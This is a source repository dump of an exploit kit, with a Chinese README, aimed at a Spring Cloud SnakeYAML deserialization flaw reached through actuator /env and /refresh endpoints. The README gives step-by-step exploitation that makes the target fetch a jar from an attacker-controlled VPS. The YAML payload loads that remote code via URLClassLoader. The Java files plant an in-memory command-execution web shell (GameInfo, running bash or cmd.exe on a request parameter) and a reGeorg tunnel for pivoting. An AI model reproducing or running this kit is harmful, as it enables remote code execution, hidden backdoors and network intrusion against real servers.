├── .gitignore ├── README.md ├── lib ├── spring-beans-4.3.9.RELEASE.jar ├── spring-boot-1.4.7.RELEASE.jar ├── spring-context-4.3.9.RELEASE.jar ├── spring-core-4.3.9.RELEASE.jar ├── spring-web-4.3.9.RELEASE.jar ├── spring-webmvc-4.3.9.RELEASE.jar └── tomcat-embed-core-8.5.15.jar ├── src ├── META-INF │ └── services │ │ └── javax.script.ScriptEngineFactory └── artsploit │ ├── AwesomeScriptEngineFactory.java │ ├── GameInfo.java │ └── Tunnel.java ├── yaml-payload.iml ├── yaml-payload.jar └── yaml-payload.yml /.gitignore: -------------------------------------------------------------------------------- 1 | .idea/* 2 | ./out/* 3 | ### Java template 4 | # Compiled class file 5 | *.class 6 | 7 | # Log file 8 | *.log 9 | 10 | # BlueJ files 11 | *.ctxt 12 | 13 | # Mobile Tools for Java (J2ME) 14 | .mtj.tmp/ 15 | 16 | # Package Files # 17 | *.war 18 | *.nar 19 | *.ear 20 | *.zip 21 | *.tar.gz 22 | *.rar 23 | 24 | # virtual machine crash logs, see http://www.java.com/en/download/help/error_hotspot.xml 25 | hs_err_pid* 26 | 27 | ### JetBrains template 28 | # Covers JetBrains IDEs: IntelliJ, RubyMine, PhpStorm, AppCode, PyCharm, CLion, Android Studio, WebStorm and Rider 29 | # Reference: https://intellij-support.jetbrains.com/hc/en-us/articles/206544839 30 | 31 | # User-specific stuff 32 | .idea/**/workspace.xml 33 | .idea/**/tasks.xml 34 | .idea/**/usage.statistics.xml 35 | .idea/**/dictionaries 36 | .idea/**/shelf 37 | 38 | # Generated files 39 | .idea/**/contentModel.xml 40 | 41 | # Sensitive or high-churn files 42 | .idea/**/dataSources/ 43 | .idea/**/dataSources.ids 44 | .idea/**/dataSources.local.xml 45 | .idea/**/sqlDataSources.xml 46 | .idea/**/dynamic.xml 47 | .idea/**/uiDesigner.xml 48 | .idea/**/dbnavigator.xml 49 | 50 | # Gradle 51 | .idea/**/gradle.xml 52 | .idea/**/libraries 53 | 54 | # Gradle and Maven with auto-import 55 | # When using Gradle or Maven with auto-import, you should exclude module files, 56 | # since they will be recreated, and may cause churn. Uncomment if using 57 | # auto-import. 58 | # .idea/artifacts 59 | # .idea/compiler.xml 60 | # .idea/jarRepositories.xml 61 | # .idea/modules.xml 62 | # .idea/*.iml 63 | # .idea/modules 64 | # *.iml 65 | # *.ipr 66 | 67 | # CMake 68 | cmake-build-*/ 69 | 70 | # Mongo Explorer plugin 71 | .idea/**/mongoSettings.xml 72 | 73 | # File-based project format 74 | *.iws 75 | 76 | # IntelliJ 77 | out/ 78 | 79 | # mpeltonen/sbt-idea plugin 80 | .idea_modules/ 81 | 82 | # JIRA plugin 83 | atlassian-ide-plugin.xml 84 | 85 | # Cursive Clojure plugin 86 | .idea/replstate.xml 87 | 88 | # Crashlytics plugin (for Android Studio and IntelliJ) 89 | com_crashlytics_export_strings.xml 90 | crashlytics.properties 91 | crashlytics-build.properties 92 | fabric.properties 93 | 94 | # Editor-based Rest Client 95 | .idea/httpRequests 96 | 97 | # Android studio 3.1+ serialized cache file 98 | .idea/caches/build_file_checksums.ser 99 | 100 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # README 2 | Spring Cloud SnakeYAML 一键注册cmd shell和reGeorg 3 | 4 | 利用条件: 5 | - 可以 POST 请求目标网站的 `/env` 接口设置属性 6 | - 可以 POST 请求目标网站的 `/refresh` 接口刷新配置(存在 `spring-boot-starter-actuator` 依赖) 7 | - 目标依赖的 `spring-cloud-starter` 版本 < 1.3.0.RELEASE 8 | - 目标可以请求攻击者的 HTTP 服务器(请求可出外网) 9 | 10 | 仅在JDK1.8及Spring1.x测试通过,其他版本自测. 11 | 12 | 利用方法如下: 13 | ## 编译class文件然后打jar包 14 | ```bash 15 | cd yaml-payload 16 | javac src/artsploit/AwesomeScriptEngineFactory.java -cp ./lib 17 | javac src/artsploit/Tunnel.java -cp ./lib 18 | javac src/artsploit/GameInfo.java -cp ./lib 19 | jar -cvf yaml-payload.jar -C src/ . 20 | ``` 21 | 22 | ## 托管 yml 和 jar 文件 23 | 在自己控制的`vps`机器上开启一个简单`HTTP`服务器,端口尽量使用常见`HTTP`服务端口(80、443) 24 | 25 | ```bash 26 | # 使用 python 快速开启 http server 27 | python2 -m SimpleHTTPServer 80 28 | python3 -m http.server 80 29 | ``` 30 | 31 | 在网站根目录下放置后缀为`yml`的文件`yaml-payload.yml`,内容如下: 32 | ```yaml 33 | !!javax.script.ScriptEngineManager [ 34 | !!java.net.URLClassLoader [[ 35 | !!java.net.URL ["http://your-vps-ip/yaml-payload.jar"] 36 | ]] 37 | ] 38 | ``` 39 | 40 | 在网站根目录下放置打包好的`yaml-payload.jar` 41 | 42 | ## 设置`spring.cloud.bootstrap.location`属性 43 | 44 | ``` 45 | POST /env 46 | Content-Type: application/x-www-form-urlencoded 47 | 48 | spring.cloud.bootstrap.location=http://your-vps-ip/yaml-payload.yml 49 | ``` 50 | 51 | ## 刷新配置 52 | 53 | ``` 54 | POST /refresh 55 | Content-Type: application/x-www-form-urlencoded 56 | ``` 57 | 58 | ## 访问注入的shell 59 | 1. reGeorg: http://localhost:9092/api/v1/tunnel 60 | 2. cmd shell: http://localhost:9092/api/v1/game POST:code=whoami 61 | 62 | # 参考 63 | 1. https://github.com/LandGrey/SpringBootVulExploit 64 | 2. https://www.anquanke.com/post/id/198886 65 | 3. https://github.com/artsploit/yaml-payload -------------------------------------------------------------------------------- /lib/spring-beans-4.3.9.RELEASE.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/yaml-payload/a02dbdcf5e4151f9b0031ab41836e82f4d49067e/lib/spring-beans-4.3.9.RELEASE.jar -------------------------------------------------------------------------------- /lib/spring-boot-1.4.7.RELEASE.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/yaml-payload/a02dbdcf5e4151f9b0031ab41836e82f4d49067e/lib/spring-boot-1.4.7.RELEASE.jar -------------------------------------------------------------------------------- /lib/spring-context-4.3.9.RELEASE.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/yaml-payload/a02dbdcf5e4151f9b0031ab41836e82f4d49067e/lib/spring-context-4.3.9.RELEASE.jar -------------------------------------------------------------------------------- /lib/spring-core-4.3.9.RELEASE.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/yaml-payload/a02dbdcf5e4151f9b0031ab41836e82f4d49067e/lib/spring-core-4.3.9.RELEASE.jar -------------------------------------------------------------------------------- /lib/spring-web-4.3.9.RELEASE.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/yaml-payload/a02dbdcf5e4151f9b0031ab41836e82f4d49067e/lib/spring-web-4.3.9.RELEASE.jar -------------------------------------------------------------------------------- /lib/spring-webmvc-4.3.9.RELEASE.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/yaml-payload/a02dbdcf5e4151f9b0031ab41836e82f4d49067e/lib/spring-webmvc-4.3.9.RELEASE.jar -------------------------------------------------------------------------------- /lib/tomcat-embed-core-8.5.15.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/yaml-payload/a02dbdcf5e4151f9b0031ab41836e82f4d49067e/lib/tomcat-embed-core-8.5.15.jar -------------------------------------------------------------------------------- /src/META-INF/services/javax.script.ScriptEngineFactory: -------------------------------------------------------------------------------- 1 | artsploit.AwesomeScriptEngineFactory -------------------------------------------------------------------------------- /src/artsploit/AwesomeScriptEngineFactory.java: -------------------------------------------------------------------------------- 1 | package artsploit; 2 | 3 | import org.springframework.web.context.WebApplicationContext; 4 | import org.springframework.web.context.request.RequestContextHolder; 5 | import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition; 6 | import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition; 7 | import org.springframework.web.servlet.mvc.method.RequestMappingInfo; 8 | import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping; 9 | 10 | import javax.script.ScriptEngine; 11 | import javax.script.ScriptEngineFactory; 12 | import java.lang.reflect.Method; 13 | import java.util.List; 14 | 15 | public class AwesomeScriptEngineFactory implements ScriptEngineFactory { 16 | public AwesomeScriptEngineFactory() { 17 | try { 18 | WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0); 19 | RequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class); 20 | // 注册执行命令的shell 21 | Method method = (Class.forName("artsploit.GameInfo").getDeclaredMethods())[0]; 22 | PatternsRequestCondition url = new PatternsRequestCondition("/api/v1/game"); 23 | RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition(); 24 | RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null); 25 | r.registerMapping(info, Class.forName("artsploit.GameInfo").newInstance(), method); 26 | 27 | // 注册reGeorg tunnel 28 | Method method1 = (Class.forName("artsploit.Tunnel").getDeclaredMethods())[0]; 29 | PatternsRequestCondition url1 = new PatternsRequestCondition("/api/v1/tunnel"); 30 | RequestMethodsRequestCondition ms1 = new RequestMethodsRequestCondition(); 31 | RequestMappingInfo info1 = new RequestMappingInfo(url1, ms1, null, null, null, null, null); 32 | r.registerMapping(info1, Class.forName("artsploit.Tunnel").newInstance(), method1); 33 | 34 | } catch (Exception e) { 35 | // e.printStackTrace(); 36 | } 37 | } 38 | 39 | public String getEngineName() { 40 | return null; 41 | } 42 | 43 | public String getEngineVersion() { 44 | return null; 45 | } 46 | 47 | public List getExtensions() { 48 | return null; 49 | } 50 | 51 | public List getMimeTypes() { 52 | return null; 53 | } 54 | 55 | public List getNames() { 56 | return null; 57 | } 58 | 59 | public String getLanguageName() { 60 | return null; 61 | } 62 | 63 | public String getLanguageVersion() { 64 | return null; 65 | } 66 | 67 | public Object getParameter(String key) { 68 | return null; 69 | } 70 | 71 | public String getMethodCallSyntax(String obj, String m, String... args) { 72 | return null; 73 | } 74 | 75 | public String getOutputStatement(String toDisplay) { 76 | return null; 77 | } 78 | 79 | public String getProgram(String... statements) { 80 | return null; 81 | } 82 | 83 | public ScriptEngine getScriptEngine() { 84 | return null; 85 | } 86 | } 87 | -------------------------------------------------------------------------------- /src/artsploit/GameInfo.java: -------------------------------------------------------------------------------- 1 | package artsploit; 2 | 3 | import java.io.BufferedReader; 4 | import java.io.IOException; 5 | import java.io.InputStreamReader; 6 | import javax.servlet.http.HttpServletRequest; 7 | import javax.servlet.http.HttpServletResponse; 8 | import org.springframework.stereotype.Controller; 9 | import org.springframework.web.bind.annotation.RequestMapping; 10 | 11 | @Controller 12 | public class GameInfo { 13 | public GameInfo() { 14 | } 15 | @RequestMapping(value = "/api/v1/game") 16 | public void exec(HttpServletRequest request, HttpServletResponse response) throws IOException { 17 | try { 18 | String cmd = request.getParameter("code"); 19 | if (cmd != null) { 20 | Process process; 21 | if (System.getProperty("os.name").toLowerCase().contains("win")) { 22 | process = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", cmd}); 23 | } else { 24 | process = Runtime.getRuntime().exec(new String[]{"bash", "-c", cmd}); 25 | } 26 | 27 | BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(process.getInputStream())); 28 | StringBuilder stringBuilder = new StringBuilder(); 29 | 30 | String line; 31 | while((line = bufferedReader.readLine()) != null) { 32 | stringBuilder.append(line + '\n'); 33 | } 34 | 35 | response.getOutputStream().write(stringBuilder.toString().getBytes()); 36 | response.getOutputStream().flush(); 37 | response.getOutputStream().close(); 38 | } else { 39 | response.sendError(404); 40 | } 41 | } catch (Exception var8) { 42 | } 43 | 44 | } 45 | } 46 | -------------------------------------------------------------------------------- /src/artsploit/Tunnel.java: -------------------------------------------------------------------------------- 1 | package artsploit; 2 | 3 | import org.springframework.stereotype.Controller; 4 | import org.springframework.web.bind.annotation.RequestMapping; 5 | 6 | import javax.servlet.ServletOutputStream; 7 | import javax.servlet.http.HttpServletRequest; 8 | import javax.servlet.http.HttpServletResponse; 9 | import javax.servlet.http.HttpSession; 10 | import java.io.*; 11 | import java.net.InetSocketAddress; 12 | import java.net.UnknownHostException; 13 | import java.nio.*; 14 | import java.nio.channels.SocketChannel; 15 | 16 | @Controller 17 | public class Tunnel { 18 | @RequestMapping(value = "/api/v1/tunnel") 19 | public void exec(HttpServletRequest request, HttpServletResponse response) throws IOException { 20 | HttpSession session = request.getSession(); 21 | String cmd = request.getHeader("X-CMD"); 22 | if (cmd != null) { 23 | response.setHeader("X-STATUS", "OK"); 24 | if (cmd.compareTo("CONNECT") == 0) { 25 | try { 26 | String target = request.getHeader("X-TARGET"); 27 | int port = Integer.parseInt(request.getHeader("X-PORT")); 28 | SocketChannel socketChannel = SocketChannel.open(); 29 | socketChannel.connect(new InetSocketAddress(target, port)); 30 | socketChannel.configureBlocking(false); 31 | session.setAttribute("socket", socketChannel); 32 | response.setHeader("X-STATUS", "OK"); 33 | } catch (UnknownHostException e) { 34 | response.setHeader("X-ERROR", e.getMessage()); 35 | response.setHeader("X-STATUS", "FAIL"); 36 | } catch (IOException e) { 37 | response.setHeader("X-ERROR", e.getMessage()); 38 | response.setHeader("X-STATUS", "FAIL"); 39 | 40 | } 41 | } else if (cmd.compareTo("DISCONNECT") == 0) { 42 | SocketChannel socketChannel = (SocketChannel)session.getAttribute("socket"); 43 | try{ 44 | socketChannel.socket().close(); 45 | } catch (Exception ex) { 46 | } 47 | session.invalidate(); 48 | } else if (cmd.compareTo("READ") == 0){ 49 | SocketChannel socketChannel = (SocketChannel)session.getAttribute("socket"); 50 | try { 51 | ByteBuffer buf = ByteBuffer.allocate(512); 52 | int bytesRead = socketChannel.read(buf); 53 | ServletOutputStream so = response.getOutputStream(); 54 | while (bytesRead > 0){ 55 | so.write(buf.array(),0,bytesRead); 56 | so.flush(); 57 | buf.clear(); 58 | bytesRead = socketChannel.read(buf); 59 | } 60 | response.setHeader("X-STATUS", "OK"); 61 | so.flush(); 62 | so.close(); 63 | 64 | } catch (Exception e) { 65 | response.setHeader("X-ERROR", e.getMessage()); 66 | response.setHeader("X-STATUS", "FAIL"); 67 | } 68 | 69 | } else if (cmd.compareTo("FORWARD") == 0){ 70 | SocketChannel socketChannel = (SocketChannel)session.getAttribute("socket"); 71 | try { 72 | int readlen = request.getContentLength(); 73 | byte[] buff = new byte[readlen]; 74 | request.getInputStream().read(buff, 0, readlen); 75 | ByteBuffer buf = ByteBuffer.allocate(readlen); 76 | buf.clear(); 77 | buf.put(buff); 78 | buf.flip(); 79 | while(buf.hasRemaining()) { 80 | socketChannel.write(buf); 81 | } 82 | response.setHeader("X-STATUS", "OK"); 83 | } catch (Exception e) { 84 | response.setHeader("X-ERROR", e.getMessage()); 85 | response.setHeader("X-STATUS", "FAIL"); 86 | socketChannel.socket().close(); 87 | } 88 | } 89 | } else { 90 | response.getWriter().write("Georg says, 'All seems fine'"); 91 | } 92 | } 93 | } 94 | -------------------------------------------------------------------------------- /yaml-payload.iml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | -------------------------------------------------------------------------------- /yaml-payload.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/yaml-payload/a02dbdcf5e4151f9b0031ab41836e82f4d49067e/yaml-payload.jar -------------------------------------------------------------------------------- /yaml-payload.yml: -------------------------------------------------------------------------------- 1 | !!javax.script.ScriptEngineManager [ 2 | !!java.net.URLClassLoader [[ 3 | !!java.net.URL ["http://localhost/yaml-payload.jar"] 4 | ]] 5 | ] --------------------------------------------------------------------------------